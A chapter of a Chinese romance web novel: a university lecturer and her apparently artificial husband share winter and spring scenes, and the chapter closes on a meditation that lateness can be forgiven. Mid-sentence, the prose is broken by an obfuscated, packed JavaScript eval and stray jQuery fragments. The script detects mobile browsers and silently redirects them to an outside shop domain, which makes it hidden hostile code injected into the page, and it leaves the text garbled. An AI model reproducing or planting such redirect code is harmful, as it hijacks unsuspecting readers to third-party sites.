当一切缭乱的风波归于沉寂之时，203x年的深冬迈着细碎的步子应约而至。
沈疏桐今日着一身浅蓝毛衣与烟灰色阔腿裤，此时正站在U大三教的讲台上为学生授课。暖气片将教室烘得暖暖的，也将学生烘得昏昏欲睡。室内室外是两个截然不同的温度，蒸腾的热气贴附在窗玻璃上，留下一片雾蒙蒙的泪痕。
沈疏桐就在等待学生小测的间隙里，透过起雾的窗牖，望见了倚墙而立的常玉。
他已经站在那里很久了，廊下的风裹着雪，打着旋儿融化在他沉默温柔的目光中。他的发顶已结上一层盐粒般的碎雪，沈疏桐才迟迟注意到他。
她忽地想起，在过往的很多年里，从她读博时带本科生助教讲授习题课起，至她工作后申请国家重大专项计划的线上答辩，常玉的身影便时时停驻在窗外，他是她最虔诚的听众，她黑板上每一道板书的轻重力度他都铭记在心。
有一次，她问常玉：“为什么总在外面看我上课？”
彼时常玉回了她一句正确的废话：“因为在听你上课。”
——我在听你上课，在欣慰一朵花从霉湿狭窄的砖缝里穿云破土，在庆幸我得以变作一缕风落在你的花叶，由此有幸借你的勇气与力量，反抗命运的遗弃与无常。
下课铃响，但一直到20分钟后，沈疏桐才得以从团团围住她提稀奇古怪问题的本科生中脱身，她匆匆套上大衣背上笔记本，赶至教室门外就一手去握常玉的手，一手拂去他发间的细雪：“冷不冷？”
常玉看着她，弯起眼睛柔柔笑起来，刻意把自己的温度调低了5℃，然后把她的手揣进自己的兜里：“冷，你快帮我暖暖，我等你等得都要冻坏了。”
那天以后，家里的相框再也没有被倒扣回去，满墙均是小夫妻浸在平淡生活里的细碎爱意。卧室的床上，再也没有占满大半个床的人偶与笨重的骨灰坛，而是多了一个冰冷的怀抱。好在，这里的冬天并不漫长，再冰冷的怀抱相拥取暖，也无惧刺骨的北风。
何况，春天就要来了。
第二年的5月5日。
仍是下午17：10，沈疏桐走出西校区北门，她等了好半天，那个熟悉的人影才姗姗来迟。
刚一见面，常玉就塞给沈疏桐一个冰激淋，讨饶般地朝她笑道：“对不起，我堵在高架上，来晚了，买了你最爱吃的冰激凌，你不要生我气，好不好？”
“没关系，只要是你，只要你肯来，迟到也没关系。”
——沈疏桐很迟很迟地知晓常玉的爱意没关系，常玉很迟很迟地才拥有保护爱人的能力没关系。只要是你，迟到就都没关系。
在这
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17909441|213075||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
个世界上，我们每一个渺小庸碌的生灵，成长过程中或多或少都充斥着这样的规训——“你不可以迟到哦，迟到后果很严重的。”
你一年级的冬日，起床晚了，老师要求你早读课在门外罚站10min，教室里的小朋友都透过书页的间隙悄悄打量你，你羞得脸颊一片通红。
你高考那一天，过于紧张和疲惫，午睡起迟了2min，你错过了2道听力题，你认为，这是导致你和心水大学擦肩而过的元凶。
你45岁那年，卡里终于迟迟地有了几十万的存款，你在夜里辗转反侧，痛苦内耗，你想，要是你和钱都没有迟到，那兴许，挚爱的长辈能看完这个春日的繁花才离你而去。
你一生总是在迟到。
数千年的人类历史也总是在迟到。
格鲁希回援主战场迟到，拿破仑败北滑铁卢；福知山线的电车迟到，死伤百余人；自由企业先驱号迟到，巨轮沉入大西洋；陈胜吴广迟到，大泽乡埋下亡秦的火种……
无数的经验与教训都在告诉你和我，迟到就是灾难，于是你我都在生活的风暴里行色匆匆，不得歇息。
可是，慢下来吧，不要着急，也不要惶恐，偶尔迟到也没关系，就像迟开的晚桂才酝酿出最馥郁的香。
这旷野的人生呐，它自有一片容错的荒原。